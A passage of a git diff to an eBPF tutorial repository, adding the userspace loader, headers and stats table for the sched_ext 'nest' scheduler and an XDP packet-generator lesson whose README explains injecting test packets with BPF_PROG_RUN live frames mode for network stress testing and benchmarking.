-ENOMEM; + + bpf_cpumask_clear(cpumask); + cpumask = bpf_kptr_xchg(&reserve_cpumask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + bpf_for(cpu, 0, nr_cpus) { + s32 key = cpu; + struct pcpu_ctx *ctx = bpf_map_lookup_elem(&pcpu_ctxs, &key); + + if (!ctx) { + scx_bpf_error("Failed to lookup pcpu_ctx"); + return -ENOENT; + } + ctx->scheduled_compaction = false; + if (bpf_timer_init(&ctx->timer, &pcpu_ctxs, CLOCK_BOOTTIME)) { + scx_bpf_error("Failed to initialize pcpu timer"); + return -EINVAL; + } + err = bpf_timer_set_callback(&ctx->timer, compact_primary_core); + if (err) { + scx_bpf_error("Failed to set pcpu timer callback"); + return -EINVAL; + } + } + + timer = bpf_map_lookup_elem(&stats_timer, &key); + if (!timer) { + scx_bpf_error("Failed to lookup central timer"); + return -ESRCH; + } + bpf_timer_init(timer, &stats_timer, CLOCK_BOOTTIME); + bpf_timer_set_callback(timer, stats_timerfn); + err = bpf_timer_start(timer, sampling_cadence_ns - 5000, 0); + if (err) + scx_bpf_error("Failed to arm stats timer"); + + return err; +} + +void BPF_STRUCT_OPS(nest_exit, struct scx_exit_info *ei) +{ + UEI_RECORD(uei, ei); +} + +SCX_OPS_DEFINE(nest_ops, + .select_cpu = (void *)nest_select_cpu, + .enqueue = (void *)nest_enqueue, + .dispatch = (void *)nest_dispatch, + .running = (void *)nest_running, + .stopping = (void *)nest_stopping, + .init_task = (void *)nest_init_task, + .enable = (void *)nest_enable, + .init = (void *)nest_init, + .exit = (void *)nest_exit, + .flags = 0, + .name = "nest"); + diff --git a/src/45-scx-nest/scx_nest.c b/src/45-scx-nest/scx_nest.c new file mode 100644 index 00000000..90be55ad --- /dev/null +++ b/src/45-scx-nest/scx_nest.c @@ -0,0 +1,236 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2023 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2023 David Vernet + * Copyright (c) 2023 Tejun Heo + */ +#include +#include +#include +#include +#include +#include +#include + +#include "scx_nest.skel.h" +#include "scx_nest.h" + +#define SAMPLING_CADENCE_S 2 + +const char help_fmt[] = +"A Nest sched_ext scheduler.\n" +"\n" +"See the top-level comment in .bpf.c for more details.\n" +"\n" +"Usage: %s [-p] [-d DELAY] [-m ] [-i ITERS]\n" +"\n" +" -d DELAY_US Delay (us), before removing an idle core from the primary nest (default 2000us / 2ms)\n" +" -m R_MAX Maximum number of cores in the reserve nest (default 5)\n" +" -i ITERS Number of successive placement failures tolerated before trying to aggressively expand primary nest (default 2), or 0 to disable\n" +" -s SLICE_US Override slice duration in us (default 20000us / 20ms)\n" +" -I First try to find a fully idle core, and then any idle core, when searching nests. Default behavior is to ignore hypertwins and check for any idle core.\n" +" -v Print libbpf debug messages\n" +" -h Display this help and exit\n"; + +static bool verbose; +static volatile int exit_req; + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && !verbose) + return 0; + return vfprintf(stderr, format, args); +} + +static void sigint_handler(int nest) +{ + exit_req = 1; +} + +struct nest_stat { + const char *label; + enum nest_stat_group group; + enum nest_stat_idx idx; +}; + +#define NEST_ST(__stat, __grp, __desc) { \ + .label = #__stat, \ + .group = __grp, \ + .idx = NEST_STAT(__stat) \ +}, +static struct nest_stat nest_stats[NEST_STAT(NR)] = { +#include "scx_nest_stats_table.h" +}; +#undef NEST_ST + +static void read_stats(struct scx_nest *skel, u64 *stats) +{ + int nr_cpus = libbpf_num_possible_cpus(); + u64 cnts[NEST_STAT(NR)][nr_cpus]; + u32 idx; + + memset(stats, 0, sizeof(stats[0]) * NEST_STAT(NR)); + + for (idx = 0; idx < NEST_STAT(NR); idx++) { + int ret, cpu; + + ret = bpf_map_lookup_elem(bpf_map__fd(skel->maps.stats), + &idx, cnts[idx]); + if (ret < 0) + continue; + for (cpu = 0; cpu < nr_cpus; cpu++) + stats[idx] += cnts[idx][cpu]; + } +} + +static void print_underline(const char *str) +{ + char buf[64]; + size_t len; + + len = strlen(str); + memset(buf, '-', len); + buf[len] = '\0'; + printf("\n\n%s\n%s\n", str, buf); +} + +static void print_stat_grp(enum nest_stat_group grp) +{ + const char *group; + + switch (grp) { + case STAT_GRP_WAKEUP: + group = "Wakeup stats"; + break; + case STAT_GRP_NEST: + group = "Nest stats"; + break; + case STAT_GRP_CONSUME: + group = "Consume stats"; + break; + default: + group = "Unknown stats"; + break; + } + + print_underline(group); +} + +static void print_active_nests(const struct scx_nest *skel) +{ + u64 primary = skel->bss->stats_primary_mask; + u64 reserved = skel->bss->stats_reserved_mask; + u64 other = skel->bss->stats_other_mask; + u64 idle = skel->bss->stats_idle_mask; + u32 nr_cpus = skel->rodata->nr_cpus, cpu; + int idx; + char cpus[nr_cpus + 1]; + + memset(cpus, 0, nr_cpus + 1); + print_underline("Masks"); + for (idx = 0; idx < 4; idx++) { + const char *mask_str; + u64 mask, total = 0; + + memset(cpus, '-', nr_cpus); + if (idx == 0) { + mask_str = "PRIMARY"; + mask = primary; + } else if (idx == 1) { + mask_str = "RESERVED"; + mask = reserved; + } else if (idx == 2) { + mask_str = "OTHER"; + mask = other; + } else { + mask_str = "IDLE"; + mask = idle; + } + for (cpu = 0; cpu < nr_cpus; cpu++) { + if (mask & (1ULL << cpu)) { + cpus[cpu] = '*'; + total++; + } + } + printf("%-9s(%2" PRIu64 "): | %s |\n", mask_str, total, cpus); + } +} + +int main(int argc, char **argv) +{ + struct scx_nest *skel; + struct bpf_link *link; + __u32 opt; + __u64 ecode; + + libbpf_set_print(libbpf_print_fn); + signal(SIGINT, sigint_handler); + signal(SIGTERM, sigint_handler); +restart: + skel = SCX_OPS_OPEN(nest_ops, scx_nest); + + skel->rodata->nr_cpus = libbpf_num_possible_cpus(); + skel->rodata->sampling_cadence_ns = SAMPLING_CADENCE_S * 1000 * 1000 * 1000; + + while ((opt = getopt(argc, argv, "d:m:i:Is:vh")) != -1) { + switch (opt) { + case 'd': + skel->rodata->p_remove_ns = strtoull(optarg, NULL, 0) * 1000; + break; + case 'm': + skel->rodata->r_max = strtoull(optarg, NULL, 0); + break; + case 'i': + skel->rodata->r_impatient = strtoull(optarg, NULL, 0); + break; + case 'I': + skel->rodata->find_fully_idle = true; + break; + case 's': + skel->rodata->slice_ns = strtoull(optarg, NULL, 0) * 1000; + break; + case 'v': + verbose = true; + break; + default: + fprintf(stderr, help_fmt, basename(argv[0])); + return opt != 'h'; + } + } + + SCX_OPS_LOAD(skel, nest_ops, scx_nest, uei); + link = SCX_OPS_ATTACH(skel, nest_ops, scx_nest); + + while (!exit_req && !UEI_EXITED(skel, uei)) { + u64 stats[NEST_STAT(NR)]; + enum nest_stat_idx i; + enum nest_stat_group last_grp = -1; + + read_stats(skel, stats); + for (i = 0; i < NEST_STAT(NR); i++) { + struct nest_stat *nest_stat; + + nest_stat = &nest_stats[i]; + if (nest_stat->group != last_grp) { + print_stat_grp(nest_stat->group); + last_grp = nest_stat->group; + } + printf("%s=%" PRIu64 "\n", nest_stat->label, stats[nest_stat->idx]); + } + printf("\n"); + print_active_nests(skel); + printf("\n"); + printf("\n"); + printf("\n"); + fflush(stdout); + sleep(SAMPLING_CADENCE_S); + } + + bpf_link__destroy(link); + ecode = UEI_REPORT(skel, uei); + scx_nest__destroy(skel); + + if (UEI_ECODE_RESTART(ecode)) + goto restart; + return 0; +} diff --git a/src/45-scx-nest/scx_nest.h b/src/45-scx-nest/scx_nest.h new file mode 100644 index 00000000..060444f8 --- /dev/null +++ b/src/45-scx-nest/scx_nest.h @@ -0,0 +1,18 @@ +#ifndef __SCX_NEST_H +#define __SCX_NEST_H + +enum nest_stat_group { + STAT_GRP_WAKEUP, + STAT_GRP_NEST, + STAT_GRP_CONSUME, +}; + +#define NEST_STAT(__stat) BPFSTAT_##__stat +#define NEST_ST(__stat, __grp, __desc) NEST_STAT(__stat), +enum nest_stat_idx { +#include "scx_nest_stats_table.h" + NEST_ST(NR, 0, 0) +}; +#undef NEST_ST + +#endif /* __SCX_NEST_H */ diff --git a/src/45-scx-nest/scx_nest_stats_table.h b/src/45-scx-nest/scx_nest_stats_table.h new file mode 100644 index 00000000..6625f705 --- /dev/null +++ b/src/45-scx-nest/scx_nest_stats_table.h @@ -0,0 +1,20 @@ +NEST_ST(WAKEUP_ATTACHED, STAT_GRP_WAKEUP, "Attached CPU was idle, and in primary nest") +NEST_ST(WAKEUP_PREV_PRIMARY, STAT_GRP_WAKEUP, "Previous CPU was idle, and in primary nest") +NEST_ST(WAKEUP_FULLY_IDLE_PRIMARY, STAT_GRP_WAKEUP, "Woken up to fully idle primary nest core") +NEST_ST(WAKEUP_ANY_IDLE_PRIMARY, STAT_GRP_WAKEUP, "Woken up to idle logical primary nest core") +NEST_ST(WAKEUP_FULLY_IDLE_RESERVE, STAT_GRP_WAKEUP, "Woken up to fully idle reserve nest core") +NEST_ST(WAKEUP_ANY_IDLE_RESERVE, STAT_GRP_WAKEUP, "Woken up to idle logical reserve nest core") +NEST_ST(WAKEUP_IDLE_OTHER, STAT_GRP_WAKEUP, "Woken to any idle logical core in p->cpus_ptr") + +NEST_ST(TASK_IMPATIENT, STAT_GRP_NEST, "A task was found to be impatient") +NEST_ST(PROMOTED_TO_PRIMARY, STAT_GRP_NEST, "A core was promoted into the primary nest") +NEST_ST(PROMOTED_TO_RESERVED, STAT_GRP_NEST, "A core was promoted into the reserve nest") +NEST_ST(DEMOTED_TO_RESERVED, STAT_GRP_NEST, "A core was demoted into the reserve nest") +NEST_ST(RESERVED_AT_CAPACITY, STAT_GRP_NEST, "Reserved nest was at capacity") +NEST_ST(SCHEDULED_COMPACTION, STAT_GRP_NEST, "Scheduled a primary core to be compacted") +NEST_ST(CANCELLED_COMPACTION, STAT_GRP_NEST, "Cancelled a primary core from being compacted at task wakeup time") +NEST_ST(EAGERLY_COMPACTED, STAT_GRP_NEST, "A core was compacted in ops.dispatch()") +NEST_ST(CALLBACK_COMPACTED, STAT_GRP_NEST, "A core was compacted in the scheduled timer callback") + +NEST_ST(CONSUMED, STAT_GRP_CONSUME, "A task was consumed from the global DSQ") +NEST_ST(NOT_CONSUMED, STAT_GRP_CONSUME, "There was no task in the global DSQ") diff --git a/src/46-xdp-test/.config b/src/46-xdp-test/.config new file mode 100644 index 00000000..12323e66 --- /dev/null +++ b/src/46-xdp-test/.config @@ -0,0 +1,2 @@ +level=Depth +type=Networking diff --git a/src/46-xdp-test/.gitignore b/src/46-xdp-test/.gitignore new file mode 100644 index 00000000..1e2d41ba --- /dev/null +++ b/src/46-xdp-test/.gitignore @@ -0,0 +1,3 @@ +/.output +/bootstrap +xdp-pktgen diff --git a/src/46-xdp-test/Makefile b/src/46-xdp-test/Makefile new file mode 100644 index 00000000..c10c1693 --- /dev/null +++ b/src/46-xdp-test/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = xdp-pktgen # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/46-xdp-test/README.md b/src/46-xdp-test/README.md new file mode 100644 index 00000000..68c538b6 --- /dev/null +++ b/src/46-xdp-test/README.md @@ -0,0 +1,283 @@ +# eBPF Tutorial by Example: Building a High-Performance XDP Packet Generator + +Need to stress-test your network stack or measure XDP program performance? Traditional packet generators like `pktgen` require kernel modules or run in userspace with high overhead. There's a better way - XDP's BPF_PROG_RUN feature lets you inject packets directly into the kernel's fast path at millions of packets per second, all from userspace without loading network drivers. + +In this tutorial, we'll build an XDP-based packet generator that leverages the kernel's BPF_PROG_RUN test infrastructure. We'll explore how XDP's `XDP_TX` action creates a packet reflection loop, understand the live frames mode that enables real packet injection, and measure the performance characteristics of XDP programs under load. By the end, you'll have a production-ready tool for network testing and XDP benchmarking. + +> The complete source code: + +## Understanding XDP Packet Generation + +XDP (eXpress Data Path) provides the fastest programmable packet processing in Linux by hooking into network drivers before the kernel's networking stack allocates socket buffers. Normally, XDP programs process packets arriving from network interfaces. But what if you want to test an XDP program's performance without real network traffic? Or inject synthetic packets to stress-test your network infrastructure? + +### The BPF_PROG_RUN Testing Interface + +The kernel exposes `bpf_prog_test_run()` (BPF_PROG_RUN) as a testing mechanism for BPF programs. Originally designed for unit testing, this syscall lets userspace invoke a BPF program with synthetic input and capture its output. For XDP programs, you provide a packet buffer and an `xdp_md` context describing the packet metadata (interface index, RX queue). The kernel runs your XDP program and returns the action code (XDP_DROP, XDP_PASS, XDP_TX, etc.) along with any packet modifications. + +Traditional BPF_PROG_RUN operates in "dry run" mode - packets are processed but never actually transmitted. The XDP program runs, modifies packet data, returns an action, but nothing hits the wire. This is perfect for testing packet parsing logic or measuring program execution time in isolation. + +### Live Frames Mode: Real Packet Injection + +In Linux 5.18+, the kernel introduced **live frames mode** via the `BPF_F_TEST_XDP_LIVE_FRAMES` flag. This fundamentally changes BPF_PROG_RUN behavior. When enabled, XDP_TX actions don't just return - they actually transmit packets on the wire through the specified network interface. This turns BPF_PROG_RUN into a powerful packet generator. + +Here's how it works: Your userspace program constructs a packet (Ethernet frame with IP header, UDP payload, etc.) and passes it to `bpf_prog_test_run()` with live frames enabled. The XDP program receives this packet in its `xdp_md` context. If the program returns `XDP_TX`, the kernel transmits the packet through the network driver as if it arrived on the interface and was reflected back. The packet appears on the wire with full hardware offload support (checksumming, segmentation, etc.). + +This enables several powerful use cases. **Network stack stress testing**: Flood your system with millions of packets per second to find breaking points in the network stack, driver, or application layer. **XDP program benchmarking**: Measure how many packets per second your XDP program can process under realistic load without external packet generators. **Protocol fuzzing**: Generate malformed packets or unusual protocol sequences to test robustness. **Synthetic traffic generation**: Create realistic traffic patterns for testing load balancers, firewalls, or intrusion detection systems. + +### The XDP_TX Reflection Loop + +The simplest XDP packet generator uses the `XDP_TX` action. This tells the kernel "transmit this packet back out the interface it arrived on." Our minimal XDP program is literally three lines: + +```c +SEC("xdp") +int xdp_redirect_notouch(struct xdp_md *ctx) +{ + return XDP_TX; +} +``` + +That's it. No packet parsing, no header modification - just reflect everything. Combined with BPF_PROG_RUN in live frames mode, this creates a packet generation loop: userspace injects a packet, XDP reflects it to the wire, repeat at millions of packets per second. + +Why is this so fast? The XDP program runs in the driver's receive path with direct access to DMA buffers. There's no socket buffer allocation, no protocol stack traversal, no context switching to userspace between packets. The kernel can batch packet processing across multiple frames, amortizing syscall overhead. On modern hardware, a single CPU core can generate 5-10 million packets per second. + +## Building the Packet Generator + +Let's examine how the complete packet generator works, from userspace control to kernel packet injection. + +### Complete XDP Program: xdp-pktgen.bpf.c + +```c +/* SPDX-License-Identifier: MIT */ +#include "vmlinux.h" +#include +#include + +char _license[] SEC("license") = "GPL"; + +SEC("xdp") +int xdp_redirect_notouch(struct xdp_md *ctx) +{ + return XDP_TX; +} +``` + +This is the entire XDP program. The `SEC("xdp")` attribute marks it as an XDP program for libbpf's program loader. The function receives an `xdp_md` context containing packet metadata - `data` and `data_end` pointers frame the packet buffer, `ingress_ifindex` identifies the receiving interface, and RX queue information is available for multi-queue NICs. + +We immediately return `XDP_TX` without touching the packet. In live frames mode, this causes the kernel to transmit the packet. The packet data itself comes from userspace - we'll construct UDP or custom protocol packets and inject them via BPF_PROG_RUN. + +The beauty of this minimal approach is that all packet construction happens in userspace where you have full control. Want to fuzz protocols? Generate packets in C with arbitrary header fields. Need realistic traffic patterns? Read pcap files and replay them through the XDP program. Testing specific edge cases? Craft packets byte-by-byte. The XDP program is just a vehicle for getting packets onto the wire at line rate. + +### Userspace Control Program: xdp-pktgen.c + +The userspace program handles packet construction, BPF program loading, and injection control. Let's walk through the key components. + +#### Packet Construction and Configuration + +```c +struct config { + int ifindex; // Which interface to inject packets on + int xdp_flags; // XDP attachment flags + int repeat; // How many times to inject each packet + int batch_size; // Batch size for BPF_PROG_RUN (0 = auto) +}; + +struct config cfg = { + .ifindex = 6, // Network interface (e.g., eth0) + .repeat = 1 << 20, // 1 million repeats per batch + .batch_size = 0, // Let kernel choose optimal batch +}; +``` + +The configuration controls packet injection parameters. Interface index identifies which NIC to use - find it with `ip link show`. Repeat count determines how many times to inject each packet in a single BPF_PROG_RUN call. Higher counts amortize syscall overhead but increase latency before the next packet template. Batch size lets you inject multiple different packets in one syscall (advanced feature, 0 means single packet mode). + +Packet construction supports two modes. By default, it generates a synthetic UDP/IPv4 packet: + +```c +struct test_udp_packet_v4 pkt_udp = create_test_udp_packet_v4(); +size = sizeof(pkt_udp); +memcpy(pkt_file_buffer, &pkt_udp, size); +``` + +This creates a minimal valid UDP packet - Ethernet frame with source/dest MACs, IPv4 header with addresses and checksums, UDP header with ports, and a small payload. The `create_test_udp_packet_v4()` helper (from test_udp_pkt.h) constructs a wire-format packet that network stacks will accept. + +For custom packets, set the `PKTGEN_FILE` environment variable to a file containing raw packet bytes: + +```c +if ((pkt_file = getenv("PKTGEN_FILE")) != NULL) { + FILE* file = fopen(pkt_file, "r"); + size = fread(pkt_file_buffer, 1, 1024, file); + fclose(file); +} +``` + +This lets you inject arbitrary packets - pcap extracts, fuzzing payloads, or protocol test vectors. Any binary data works as long as it forms a valid Ethernet frame. + +#### BPF_PROG_RUN Invocation and Live Frames + +The packet injection loop uses `bpf_prog_test_run_opts()` to repeatedly invoke the XDP program: + +```c +struct xdp_md ctx_in = { + .data_end = size, // Packet length + .ingress_ifindex = cfg.ifindex // Which interface +}; + +DECLARE_LIBBPF_OPTS(bpf_test_run_opts, opts, + .data_in = pkt_file_buffer, // Packet data + .data_size_in = size, // Packet length + .ctx_in = &ctx_in, // XDP metadata + .ctx_size_in = sizeof(ctx_in), + .repeat = cfg.repeat, // Repeat count + .flags = BPF_F_TEST_XDP_LIVE_FRAMES, // Enable live TX + .batch_size = cfg.batch_size, + .cpu = 0, // Pin to CPU 0 +); +``` + +The critical flag is `BPF_F_TEST_XDP_LIVE_FRAMES`. Without it, the XDP program runs but packets stay in memory. With it, XDP_TX actions actually transmit packets through the driver. The kernel validates that the interface index is valid and the interface is up, ensuring packets hit the wire. + +CPU pinning (`cpu = 0`) is important for performance measurement. By pinning the injection thread to CPU 0, you get consistent performance numbers and avoid cache bouncing across cores. For maximum throughput, you'd spawn multiple threads pinned to different CPUs, each injecting packets on separate interfaces or queues. + +The injection loop continues until interrupted: + +```c +do { + err = bpf_prog_test_run_opts(run_prog_fd, &opts); + if (err) + return -errno; + iterations += opts.repeat; +} while ((count == 0 || iterations < count) && !exiting); +``` + +Each `bpf_prog_test_run_opts()` call injects `repeat` packets (1 million by default). With a fast XDP program, this completes in milliseconds. The kernel batches packet processing, minimizing per-packet overhead. Total throughput depends on packet size, NIC capability, and CPU performance, but 5-10 Mpps per core is achievable. + +#### Kernel Support Detection + +Not all kernels support live frames mode. The program probes for support before starting injection: + +```c +static int probe_kernel_support(int run_prog_fd) +{ + int err = run_prog(run_prog_fd, 1); // Try injecting 1 packet + if (err == -EOPNOTSUPP) { + printf("BPF_PROG_RUN with batch size support is missing from libbpf.\n"); + } else if (err == -EINVAL) { + err = -EOPNOTSUPP; + printf("Kernel doesn't support live packet mode for XDP BPF_PROG_RUN.\n"); + } else if (err) { + printf("Error probing kernel support: %s\n", strerror(-err)); + } else { + printf("Kernel supports live packet mode for XDP BPF_PROG_RUN.\n"); + } + return err; +} +``` + +This attempts a single packet injection. If the kernel lacks support (Linux <5.18 or CONFIG_XDP_SOCKETS not enabled), it returns `-EINVAL`. Older libbpf versions without batch support return `-EOPNOTSUPP`. Success means you can proceed with full packet generation. + +## Running the Packet Generator + +Navigate to the tutorial directory and build the project: + +```bash +cd bpf-developer-tutorial/src/46-xdp-test +make build +``` + +This compiles both the XDP program (`xdp-pktgen.bpf.o`) and userspace control program (`xdp-pktgen`). The build requires Clang for BPF compilation and libbpf for skeleton generation. + +Before running, identify your network interface index. Use `ip link show` to list interfaces: + +```bash +ip link show +``` + +You'll see output like: + +``` +1: lo: ... +2: eth0: ... +6: veth0: ... +``` + +Note the interface number (e.g., 6 for veth0). Update the config in xdp-pktgen.c if needed: + +```c +struct config cfg = { + .ifindex = 6, // Change to your interface index + ... +}; +``` + +Run the packet generator with root privileges (required for BPF_PROG_RUN): + +```bash +sudo ./xdp-pktgen +``` + +You'll see output like: + +``` +Kernel supports live packet mode for XDP BPF_PROG_RUN. +pkt size: 42 +[Generating packets...] +``` + +The program runs until interrupted with Ctrl-C. Monitor packet transmission with: + +```bash +# In another terminal, watch interface statistics +watch -n 1 'ip -s link show veth0' +``` + +You'll see TX packet counters increasing rapidly. On a modern CPU, expect 5-10 million packets per second per core for minimal-size packets. + +### Custom Packet Injection + +To inject custom packets, create a binary packet file and set the environment variable: + +```bash +# Create a custom packet (e.g., using scapy or hping3 to generate the binary) +echo -n -e '\x00\x01\x02\x03\x04\x05...' > custom_packet.bin + +# Inject it +sudo PKTGEN_FILE=custom_packet.bin ./xdp-pktgen +``` + +The generator reads up to 1024 bytes from the file and injects that packet repeatedly. This works for any protocol - IPv6, ICMP, custom L2 protocols, even malformed packets for fuzzing. + +## Performance Characteristics and Tuning + +XDP packet generation performance depends on several factors. Let's understand what limits throughput and how to maximize it. + +**Packet size impact**: Smaller packets achieve higher packet rates but lower throughput in bytes per second. A 64-byte packet at 10 Mpps delivers 5 Gbps. A 1500-byte packet at 2 Mpps delivers 24 Gbps. The CPU processes packets at roughly constant packet-per-second rates, so larger packets achieve higher bandwidth. + +**CPU frequency and microarchitecture**: Newer CPUs with higher frequencies and better IPC (instructions per cycle) achieve higher rates. Intel Xeon or AMD EPYC server CPUs can hit 10+ Mpps per core. Older or lower-power CPUs may only reach 2-5 Mpps. + +**NIC capabilities**: The network driver must keep up with injection rates. High-end NICs (Intel X710, Mellanox ConnectX) support millions of packets per second. Consumer gigabit NICs often saturate at 1-2 Mpps due to driver limitations or hardware buffering. + +**Memory bandwidth**: At high rates, packet data transfer to/from NIC DMA buffers can become a bottleneck. Ensure the system has sufficient memory bandwidth (use `perf stat` to monitor memory controller utilization). + +**Interrupt and polling overhead**: Network drivers use interrupts or polling (NAPI) to process packets. Under extreme load, interrupt overhead can slow processing. Consider tuning interrupt coalescing or using busy-polling. + +For maximum performance, pin the injection thread to a dedicated CPU core, disable CPU frequency scaling (set governor to performance), use huge pages for packet buffers to reduce TLB misses, and consider multi-queue NICs with RSS (Receive Side Scaling) - spawn threads per queue for parallel injection. + +## Summary and Next Steps + +XDP packet generators leverage the kernel's BPF_PROG_RUN infrastructure to inject packets at line rate from userspace. By combining a minimal XDP program that returns XDP_TX with live frames mode, you can transmit millions of packets per second without external hardware or kernel modules. This enables network stack stress testing, XDP program benchmarking, protocol fuzzing, and synthetic traffic generation. + +Our implementation demonstrates the core concepts: a simple XDP reflection program, userspace packet construction with custom or default UDP packets, BPF_PROG_RUN invocation with live frames flag, and kernel support detection. The result is a flexible, high-performance packet generator suitable for testing network infrastructure, measuring XDP program performance, or generating realistic traffic patterns. + +Beyond basic generation, you can extend this approach to create sophisticated testing tools. Add packet templates for different protocols (TCP SYN floods, ICMP echo, DNS queries). Implement traffic shaping (vary inter-packet delays). Support multiple interfaces simultaneously for throughput aggregation. Integrate with network monitoring to measure drop rates or latency. The XDP packet generator framework provides a foundation for advanced network testing capabilities. + +> If you'd like to dive deeper into eBPF and XDP, check out our tutorial repository at or visit our website at . + +## References + +- **Tutorial Repository**: +- **Linux Kernel XDP Documentation**: `Documentation/networking/xdp.rst` +- **BPF_PROG_RUN Documentation**: `tools/testing/selftests/bpf/README.rst` +- **XDP Tutorial**: +- **libbpf Documentation**: + +Complete source code with build instructions and example packet templates is available in the tutorial repository. Contributions welcome! diff --git a/src/46-xdp-test/README.zh.md b/src/46-xdp-test/README.zh.md new file mode 100644 index 00000000..e1f3a3f9 --- /dev/null +++ b/src/46-xdp-test/README.zh.md @@ -0,0 +1,281 @@ +# eBPF 实例教程:构建高性能 XDP 数据包生成器 + +需要对网络栈进行压力测试或测量 XDP 